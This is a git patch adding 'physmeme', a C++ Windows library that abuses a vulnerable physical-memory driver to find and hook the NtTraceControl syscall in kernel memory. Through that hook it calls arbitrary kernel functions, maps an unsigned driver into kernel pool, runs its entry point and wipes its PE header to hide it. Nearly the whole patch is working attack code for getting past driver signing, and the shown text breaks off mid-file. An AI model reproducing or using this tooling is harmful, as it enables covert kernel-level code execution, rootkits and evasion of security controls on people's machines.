From fdee500057d82c55258ab08695c9b76673cd7a8d Mon Sep 17 00:00:00 2001 From: xerox Date: Sat, 25 Apr 2020 02:55:24 -0700 Subject: [PATCH] added static lib --- physmeme-lib/drv_image/drv_image.cpp | 243 ++++++++++++++++++++++ physmeme-lib/drv_image/drv_image.h | 77 +++++++ physmeme-lib/kernel_ctx/kernel_ctx.cpp | 213 +++++++++++++++++++ physmeme-lib/kernel_ctx/kernel_ctx.h | 103 +++++++++ physmeme-lib/map_driver.cpp | 95 +++++++++ physmeme-lib/map_driver.hpp | 13 ++ physmeme-lib/physmeme-lib.vcxproj | 176 ++++++++++++++++ physmeme-lib/physmeme-lib.vcxproj.filters | 65 ++++++ physmeme-lib/physmeme-lib.vcxproj.user | 19 ++ physmeme-lib/physmeme/physmeme.hpp | 104 +++++++++ physmeme-lib/util/hook.hpp | 190 +++++++++++++++++ physmeme-lib/util/nt.hpp | 94 +++++++++ physmeme-lib/util/util.hpp | 155 ++++++++++++++ physmeme.sln | 10 + 14 files changed, 1557 insertions(+) create mode 100644 physmeme-lib/drv_image/drv_image.cpp create mode 100644 physmeme-lib/drv_image/drv_image.h create mode 100644 physmeme-lib/kernel_ctx/kernel_ctx.cpp create mode 100644 physmeme-lib/kernel_ctx/kernel_ctx.h create mode 100644 physmeme-lib/map_driver.cpp create mode 100644 physmeme-lib/map_driver.hpp create mode 100644 physmeme-lib/physmeme-lib.vcxproj create mode 100644 physmeme-lib/physmeme-lib.vcxproj.filters create mode 100644 physmeme-lib/physmeme-lib.vcxproj.user create mode 100644 physmeme-lib/physmeme/physmeme.hpp create mode 100644 physmeme-lib/util/hook.hpp create mode 100644 physmeme-lib/util/nt.hpp create mode 100644 physmeme-lib/util/util.hpp diff --git a/physmeme-lib/drv_image/drv_image.cpp b/physmeme-lib/drv_image/drv_image.cpp new file mode 100644 index 0000000..6a024ea --- /dev/null +++ b/physmeme-lib/drv_image/drv_image.cpp @@ -0,0 +1,243 @@ +/* +This is free and unencumbered software released into the public domain. + +Anyone is free to copy, modify, publish, use, compile, sell, or +distribute this software, either in source code form or as a compiled +binary, for any purpose, commercial or non-commercial, and by any +means. + +In jurisdictions that recognize copyright laws, the author or authors +of this software dedicate any and all copyright interest in the +software to the public domain. We make this dedication for the benefit +of the public at large and to the detriment of our heirs and +successors. We intend this dedication to be an overt act of +relinquishment in perpetuity of all present and future rights to this +software under copyright law. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR +OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. + +For more information, please refer to + + +!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! +*/ + +#include "drv_image.h" + +#include +#include + +namespace physmeme +{ + drv_image::drv_image(std::vector& image) + : m_image(std::move(image)) + { + drv_image(image.data(), image.size()); + } + + drv_image::drv_image(std::uint8_t* image, std::size_t size) + { + m_image = std::vector(image, image + size); + m_dos_header = reinterpret_cast(m_image.data()); + assert(m_dos_header->e_magic == IMAGE_DOS_SIGNATURE); + m_nt_headers = reinterpret_cast((uintptr_t)m_dos_header + m_dos_header->e_lfanew); + assert(m_nt_headers->Signature == IMAGE_NT_SIGNATURE); + assert(m_nt_headers->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC); + m_section_header = reinterpret_cast((uintptr_t)(&m_nt_headers->OptionalHeader) + m_nt_headers->FileHeader.SizeOfOptionalHeader); + } + + size_t drv_image::size() const + { + return m_nt_headers->OptionalHeader.SizeOfImage; + } + + uintptr_t drv_image::entry_point() const + { + return m_nt_headers->OptionalHeader.AddressOfEntryPoint; + } + + void drv_image::map() + { + m_image_mapped.clear(); + m_image_mapped.resize(m_nt_headers->OptionalHeader.SizeOfImage); + std::copy_n(m_image.begin(), m_nt_headers->OptionalHeader.SizeOfHeaders, m_image_mapped.begin()); + + for (size_t i = 0; i < m_nt_headers->FileHeader.NumberOfSections; ++i) + { + const auto& section = m_section_header[i]; + const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; + const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; + std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); +#if PHYSMEME_DEBUGGING true + printf("copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); +#endif + } + } + + bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base) + { +#define IMR_RELOFFSET(x) (x & 0xFFF) + + switch (data >> 12 & 0xF) + { + case IMAGE_REL_BASED_HIGH: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(HIWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_LOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(LOWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_HIGHLOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(image_base_delta); + break; + } + case IMAGE_REL_BASED_DIR64: + { + auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += image_base_delta; + break; + } + case IMAGE_REL_BASED_ABSOLUTE: // No action required + case IMAGE_REL_BASED_HIGHADJ: // no action required + { + break; + } + default: + { + return false; + } + + } +#undef IMR_RELOFFSET + + return true; + } + + + void drv_image::relocate(uintptr_t base) const + { + if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) + return; + + ULONG total_count_bytes; + const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data()); + auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes); + auto image_base_delta = static_cast(static_cast(base) - (nt_headers->OptionalHeader.ImageBase)); + auto relocation_size = total_count_bytes; + + // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults + const bool doRelocations = image_base_delta != 0 && relocation_size > 0; + + if (!doRelocations) + { +#if PHYSMEME_DEBUGGING true + printf("no relocations needed\n"); +#endif + return; + } + + assert(relocation_directory != nullptr); + + void* relocation_end = reinterpret_cast(relocation_directory) + relocation_size; + + while (relocation_directory < relocation_end) + { + auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); + + auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; + + auto relocation_data = reinterpret_cast(relocation_directory + 1); + + for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) + { + if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) + { +#if PHYSMEME_DEBUGGING true + printf("failed to relocate!"); +#endif + return; + } + } + + relocation_directory = reinterpret_cast(relocation_data); + } + + } + + template + __forceinline T* ptr_add(void* base, uintptr_t offset) + { + return (T*)(uintptr_t)base + offset; + } + + void drv_image::fix_imports(const std::function get_module, const std::function get_function) + { + ULONG size; + auto import_descriptors = static_cast(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); + + if (import_descriptors == nullptr) + { +#if PHYSMEME_DEBUGGING true + printf("no imports!\n"); +#endif + return; + } + + for (; import_descriptors->Name; import_descriptors++) + { + IMAGE_THUNK_DATA* image_thunk_data; + + const auto module_name = get_rva(import_descriptors->Name); + const auto module_base = get_module(module_name); + assert(module_base != 0); +#if PHYSMEME_DEBUGGING true + printf("processing module: %s [0x%I64X]\n", module_name, module_base); +#endif + if (import_descriptors->OriginalFirstThunk) + image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); + else + image_thunk_data = get_rva(import_descriptors->FirstThunk); + auto image_func_data = get_rva(import_descriptors->FirstThunk); + + assert(image_thunk_data != nullptr); + assert(image_func_data != nullptr); + + for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) + { + uintptr_t function_address; + const auto ordinal = (image_thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0; + const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); + const auto name_of_import = static_cast(image_import_by_name->Name); + function_address = get_function(module_name, name_of_import); +#if PHYSMEME_DEBUGGING true + printf("function: %s [0x%I64X]\n", name_of_import, function_address); +#endif + assert(function_address != 0); + image_func_data->u1.Function = function_address; + } + } + } + + void* drv_image::data() + { + return m_image_mapped.data(); + } + + size_t drv_image::header_size() + { + return m_nt_headers->OptionalHeader.SizeOfHeaders; + } +} \ No newline at end of file diff --git a/physmeme-lib/drv_image/drv_image.h b/physmeme-lib/drv_image/drv_image.h new file mode 100644 index 0000000..8271016 --- /dev/null +++ b/physmeme-lib/drv_image/drv_image.h @@ -0,0 +1,77 @@ +/* +This is free and unencumbered software released into the public domain. + +Anyone is free to copy, modify, publish, use, compile, sell, or +distribute this software, either in source code form or as a compiled +binary, for any purpose, commercial or non-commercial, and by any +means. + +In jurisdictions that recognize copyright laws, the author or authors +of this software dedicate any and all copyright interest in the +software to the public domain. We make this dedication for the benefit +of the public at large and to the detriment of our heirs and +successors. We intend this dedication to be an overt act of +relinquishment in perpetuity of all present and future rights to this +software under copyright law. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR +OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. + +For more information, please refer to + + +!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! +*/ + + +#pragma once +#include +#define WIN32_NO_STATUS +#include +#include +#undef WIN32_NO_STATUS +#include + +#include +#include +#include + +#define PHYSMEME_DEBUGGING 1 + + +#pragma comment(lib, "Dbghelp.lib") +namespace physmeme +{ + class drv_image + { + std::vector m_image; + std::vector m_image_mapped; + PIMAGE_DOS_HEADER m_dos_header = nullptr; + PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; + PIMAGE_SECTION_HEADER m_section_header = nullptr; + + public: + drv_image(std::uint8_t* image, std::size_t size); + drv_image(std::vector& image); + size_t size() const; + uintptr_t entry_point() const; + void map(); + static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); + void relocate(uintptr_t base) const; + + template + __forceinline T* get_rva(const unsigned long offset) + { + return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); + } + + void fix_imports(const std::function get_module, const std::function get_function); + void* data(); + size_t header_size(); + }; +} \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp new file mode 100644 index 0000000..1ff6a03 --- /dev/null +++ b/physmeme-lib/kernel_ctx/kernel_ctx.cpp @@ -0,0 +1,213 @@ +#include "kernel_ctx.h" + +namespace physmeme +{ + /* + Author: xerox + Date: 4/19/2020 + */ + kernel_ctx::kernel_ctx() + : psyscall_func(NULL), ntoskrnl_buffer(NULL) + { + nt_rva = reinterpret_cast( + util::get_module_export( + "ntoskrnl.exe", + syscall_hook.first.data(), + true + )); + + nt_page_offset = nt_rva % 0x1000; + ntoskrnl_buffer = reinterpret_cast(LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe")); + +#if PHYSMEME_DEBUGGING + std::cout << "[+] page offset of " << syscall_hook.first << " is: " << std::hex << nt_page_offset << std::endl; +#endif + + std::vector search_threads; + //--- for each physical memory range, make a thread to search it + for (auto ranges : pmem_ranges) + search_threads.emplace_back(std::thread( + &kernel_ctx::map_syscall, + this, + ranges.first, + ranges.second + )); + + for (std::thread& search_thread : search_threads) + search_thread.join(); + +#if PHYSMEME_DEBUGGING + std::cout << "[+] psyscall_func: " << std::hex << std::showbase << psyscall_func.load() << std::endl; +#endif + } + + /* + author: xerox + date: 4/18/2020 + + finds physical page of a syscall and map it into this process. + */ + void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const + { + //if the physical memory range is less then or equal to 2mb + if (begin + end <= 0x1000 * 512) + { + auto page_va = physmeme::map_phys(begin + nt_page_offset, end); + if (page_va) + { + // scan every page of the physical memory range + for (auto page = page_va; page < page_va + end; page += 0x1000) + if (!psyscall_func) // keep scanning until its found + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + psyscall_func.store((void*)page); + return; + } + physmeme::unmap_phys(page_va, end); + } + } + else // else the range is bigger then 2mb + { + auto remainder = (begin + end) % (0x1000 * 512); + + // loop over 2m chunks + for (auto range = begin; range < begin + end; range += 0x1000 * 512) + { + auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512); + if (page_va) + { + // loop every page of 2mbs (512) + for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) + { + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + psyscall_func.store((void*)page); + return; + } + } + physmeme::unmap_phys(page_va, 0x1000 * 512); + } + } + + // map the remainder and check each page of it + auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder); + if (page_va) + { + for (auto page = page_va; page < page_va + remainder; page += 0x1000) + { + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + psyscall_func.store((void*)page); + return; + } + } + physmeme::unmap_phys(page_va, remainder); + } + } + } + + /* + Author: xerox + Date: 4/19/2020 + + allocate a pool in the kernel (no tag) + */ + void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) + { + static const auto ex_alloc_pool = + util::get_module_export( + "ntoskrnl.exe", + "ExAllocatePool" + ); + if (ex_alloc_pool) + return syscall(ex_alloc_pool, pool_type, size); + return NULL; + } + + /* + Author: xerox + Date: 4/19/2020 + + allocate a pool in the kernel with a tag + */ + void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) + { + static const auto ex_alloc_pool_with_tag = + util::get_module_export( + "ntoskrnl.exe", + "ExAllocatePoolWithTag" + ); + if (ex_alloc_pool_with_tag) + return syscall(ex_alloc_pool_with_tag, pool_type, size, pool_tag); + } + + /* + Author: xerox + Date: 4/19/2020 + + read kernel memory + */ + void kernel_ctx::read_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + { + size_t amount_copied; + static const auto mm_copy_memory = + util::get_module_export( + "ntoskrnl.exe", + "MmCopyMemory" + ); + if (mm_copy_memory) + syscall( + mm_copy_memory, + reinterpret_cast(buffer), + MM_COPY_ADDRESS{ (void*)addr }, + size, + MM_COPY_MEMORY_VIRTUAL, + &amount_copied + ); + } + + /* + Author: xerox + Date: 4/19/2020 + + write kernel memory, this doesnt write to read only memory! + */ + void kernel_ctx::write_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + { + size_t amount_copied; + static const auto mm_copy_memory = + util::get_module_export( + "ntoskrnl.exe", + "MmCopyMemory" + ); + if (mm_copy_memory) + syscall( + mm_copy_memory, + reinterpret_cast(addr), + MM_COPY_ADDRESS{ buffer }, + size, + MM_COPY_MEMORY_VIRTUAL, + &amount_copied + ); + } + + /* + Author: xerox + Date: 4/19/2020 + + zero driver header + */ + void kernel_ctx::zero_kernel_memory(std::uintptr_t addr, std::size_t size) + { + static const auto rtl_zero_memory = + util::get_module_export( + "ntoskrnl.exe", + "RtlZeroMemory" + ); + syscall( + rtl_zero_memory, + reinterpret_cast(addr), + size + ); + } +} \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.h b/physmeme-lib/kernel_ctx/kernel_ctx.h new file mode 100644 index 0000000..0c79a9a --- /dev/null +++ b/physmeme-lib/kernel_ctx/kernel_ctx.h @@ -0,0 +1,103 @@ +#pragma once +#include +#include +#include +#include +#include + +#include "../util/util.hpp" +#include "../physmeme/physmeme.hpp" +#include "../util/hook.hpp" + +#if PHYSMEME_DEBUGGING +#include +#endif + +/* + Author: xerox + Date: 4/19/2020 + + this namespace contains everything needed to interface with the kernel +*/ +namespace physmeme +{ + class kernel_ctx + { + public: + kernel_ctx(); + void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool); + void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool); + + void read_kernel(std::uintptr_t addr, void* buffer, std::size_t size); + void write_kernel(std::uintptr_t addr, void* buffer, std::size_t size); + + void zero_kernel_memory(std::uintptr_t addr, std::size_t size); + + template + T read_kernel(std::uintptr_t addr) + { + if (!addr) + return {}; + T buffer; + read_kernel(addr, &buffer, sizeof(T)); + return buffer; + } + + template + void write_kernel(std::uintptr_t addr, const T& data) + { + if (!addr) + return {}; + write_kernel(addr, &data, sizeof(T)); + } + + // + // use this to call any function in the kernel + // + template + PVOID syscall(void* addr, Ts ... args) + { + auto proc = GetProcAddress(GetModuleHandleA("ntdll.dll"), syscall_hook.first.data()); + if (!proc || !psyscall_func || !addr) + return reinterpret_cast(STATUS_INVALID_PARAMETER); + + hook::make_hook(psyscall_func, addr); + PVOID result = reinterpret_cast(reinterpret_cast(proc)(args ...)); + hook::remove(psyscall_func); + return result; + } + + private: + + // + // find and map the physical page of a syscall into this process + // + void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; + + // + // mapping of a syscalls physical memory (for installing hooks) + // + mutable std::atomic psyscall_func; + + // + // you can edit this how you choose, im hooking NtTraceControl. + // + const std::pair syscall_hook = { "NtTraceControl", "ntdll.dll" }; + + // + // offset of function into a physical page + // used for comparing bytes when searching + // + std::uint16_t nt_page_offset; + + // + // rva of nt function we are going to hook + // + std::uint32_t nt_rva; + + // + // base address of ntoskrnl (inside of this process) + // + const std::uint8_t* ntoskrnl_buffer; + }; +} \ No newline at end of file diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp new file mode 100644 index 0000000..18bb90f --- /dev/null +++ b/physmeme-lib/map_driver.cpp @@ -0,0 +1,95 @@ +#include "map_driver.hpp" + +namespace physmeme +{ + /* + Author: xerox + Date: 4/19/2020 + */ + bool __cdecl map_driver(std::vector& raw_driver) + { + physmeme::drv_image image(raw_driver); + physmeme::kernel_ctx ctx; + + // + // lambdas used for fixing driver image + // + const auto _get_module = [&](std::string_view name) + { + return util::get_module_base(name.data()); + }; + + const auto _get_export_name = [&](const char* base, const char* name) + { + return reinterpret_cast(util::get_module_export(base, name)); + }; + + // + // allocate memory in the kernel for the driver + // + std::uintptr_t pool_base = reinterpret_cast(ctx.allocate_pool(image.size(), NonPagedPool)); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] allocated " << std::hex << std::showbase << image.size() << " at: " << std::hex << std::showbase << pool_base << std::endl; +#endif + + // + // fix the driver image + // + image.fix_imports(_get_module, _get_export_name); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] fixed imports" << std::endl; +#endif + + image.map(); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] sections mapped in memory" << std::endl; +#endif + image.relocate(pool_base); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] relocations fixed" << std::endl; +#endif + + // + // copy driver into the kernel + // this might blue screen if the image takes too long to copy + // + ctx.write_kernel(pool_base, image.data(), image.size()); + + // + // driver entry params + // + auto entry_point = pool_base + image.entry_point(); + auto size = image.size(); + + // + // call driver entry + // + auto result = ctx.syscall(reinterpret_cast(entry_point), pool_base, image.size()); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] driver entry returned: " << std::hex << result << std::endl; +#endif + + // + // zero header of driver + // + ctx.zero_kernel_memory(pool_base, image.header_size()); +#if PHYSMEME_DEBUGGING true + std::cout << "[+] zero'ed driver's pe header" << std::endl; +#endif + + // + // close and unload vuln drivers + // +#if PHYSMEME_DEBUGGING true + std::cout << "[=] press enter to close" << std::endl; +#endif + physmeme::unload_drv(); + std::cin.get(); + } + + bool __cdecl map_driver(std::uint8_t * image, std::size_t size) + { + auto data = std::vector(image, image + size); + map_driver(data); + } +} \ No newline at end of file diff --git a/physmeme-lib/map_driver.hpp b/physmeme-lib/map_driver.hpp new file mode 100644 index 0000000..c9db0b5 --- /dev/null +++ b/physmeme-lib/map_driver.hpp @@ -0,0 +1,13 @@ +#pragma once +#include +#include +#include + +#include "kernel_ctx/kernel_ctx.h" +#include "drv_image/drv_image.h" + +namespace physmeme +{ + bool __cdecl map_driver(std::vector& raw_driver); + bool __cdecl map_driver(std::uint8_t * image, std::size_t size); +} \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj b/physmeme-lib/physmeme-lib.vcxproj new file mode 100644 index 0000000..8e5a2df --- /dev/null +++ b/physmeme-lib/physmeme-lib.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {13FFA531-AD46-46F8-B52D-4A01BA078034} + Win32Proj + physmeme + 10.0 + + + + StaticLibrary + true + v142 + MultiByte + false + + + StaticLibrary + false + v142 + true + MultiByte + false + + + StaticLibrary + true + v142 + MultiByte + false + + + StaticLibrary + false + v142 + true + MultiByte + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + true + _CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + + + + + + + Level3 + true + _CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + + + + + + + Level3 + true + true + true + _CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Disabled + + + Console + true + true + true + + + + + + + Level3 + true + true + true + _CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Disabled + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj.filters b/physmeme-lib/physmeme-lib.vcxproj.filters new file mode 100644 index 0000000..02bec21 --- /dev/null +++ b/physmeme-lib/physmeme-lib.vcxproj.filters @@ -0,0 +1,65 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {040c8387-476c-4aa5-aa2a-ca30465b41bd} + + + {642c89a0-7989-4f5c-ae5a-f71e697abe16} + + + {c4aa2f98-70d4-418e-894d-4e1975e2bad2} + + + {4fd2f117-66bb-4f75-af5b-b7e041a4dc48} + + + {161b3714-a6cd-4b7b-a1f1-9b90b1f84aca} + + + {ed9d2db3-acef-42c0-880f-7f95dcca819d} + + + + + Source Files\kernel_ctx + + + Source Files\drv_image + + + Source Files + + + + + Header Files\kernel_ctx + + + Header Files\util + + + Header Files\util + + + Header Files\util + + + Header Files\drv_image + + + Header Files\physmeme + + + Header Files + + + \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj.user b/physmeme-lib/physmeme-lib.vcxproj.user new file mode 100644 index 0000000..78bd717 --- /dev/null +++ b/physmeme-lib/physmeme-lib.vcxproj.user @@ -0,0 +1,19 @@ + + + + C:\Users\interesting\Desktop\hello-world.sys + WindowsLocalDebugger + + + C:\Users\interesting\Desktop\hello-world.sys + WindowsLocalDebugger + + + C:\Users\interesting\Desktop\hello-world.sys + WindowsLocalDebugger + + + C:\Users\interesting\Desktop\hello-world.sys + WindowsLocalDebugger + + \ No newline at end of file diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp new file mode 100644 index 0000000..31f284a --- /dev/null +++ b/physmeme-lib/physmeme/physmeme.hpp @@ -0,0 +1,104 @@ +#pragma once +#include +#include +#include +#include + +namespace physmeme +{ + //--- ranges of physical memory + static std::map pmem_ranges; + + //--- validates the address + static bool is_valid(std::uintptr_t addr) + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + // Author: Remy Lebeau + // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value + static const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + + /* + please code this function depending on your method of physical read/write. + */ + static std::uintptr_t map_phys( + std::uintptr_t addr, + std::size_t size + ) + { + //--- ensure the validity of the address we are going to try and map + if (!is_valid(addr)) + return NULL; + + static const auto map_phys_ptr = + reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>( + GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem")); + return map_phys_ptr ? map_phys_ptr(addr, size) : false; + } + + /* + please code this function depending on your method of physical read/write. + */ + static bool unmap_phys( + std::uintptr_t addr, + std::size_t size + ) + { + static const auto unmap_phys_ptr = + reinterpret_cast<__int64(*)(__int64, unsigned)>( + GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem")); + return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false; + } + + /* + please code this function depending on your method of physical read/write. + */ + static HANDLE load_drv() + { + static const auto load_driver_ptr = + reinterpret_cast<__int64(*)()>( + GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver")); + + if (load_driver_ptr) + load_driver_ptr(); + + //--- i dont ever use this handle, its just an example of what you should do. + return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); + } + + /* + please code this function depending on your method of physical read/write. + */ + static bool unload_drv() + { + static const auto unload_driver_ptr = + reinterpret_cast<__int64(*)()>( + GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver")); + return unload_driver_ptr ? unload_driver_ptr() : false; + } + + inline HANDLE drv_handle = load_drv(); +} \ No newline at end of file diff --git a/physmeme-lib/util/hook.hpp b/physmeme-lib/util/hook.hpp new file mode 100644 index 0000000..1004d9f --- /dev/null +++ b/physmeme-lib/util/hook.hpp @@ -0,0 +1,190 @@ +/* + MIT License + + Copyright (c) 2020 xerox + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +*/ + +#pragma once +#include +#include +#include +#include + +#if _M_IX86 + #define OFFSET_TO_ADDRESS 0x1 +#elif _M_X64 + #define OFFSET_TO_ADDRESS 0x2 +#endif + +namespace hook +{ + static void write_to_readonly(void* addr, void* data, int size) + { + DWORD old_flags; + VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags); + memcpy((void*)addr, data, size); + VirtualProtect((LPVOID)addr, size, old_flags, &old_flags); + } + + class detour + { + public: + detour(void* addr_to_hook, void* jmp_to, bool enable = true) + : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) + { + //setup hook + memcpy( + jmp_code + OFFSET_TO_ADDRESS, + &jmp_to, + sizeof(jmp_to) + ); + + //save bytes + memcpy( + org_bytes, + hook_addr, + sizeof(org_bytes) + ); + if(enable) + install(); + } + + void install() + { + if (hook_installed.load()) + return; + + // mapped page is already read/write + memcpy(hook_addr, jmp_code, sizeof(jmp_code)); + hook_installed.exchange(true); + } + void uninstall() + { + if (!hook_installed.load()) + return; + + // mapped page is already read/write + memcpy(hook_addr, org_bytes, sizeof(org_bytes)); + hook_installed.exchange(false); + } + + ~detour() { uninstall(); } + bool installed() { return hook_installed; } + void* hook_address() 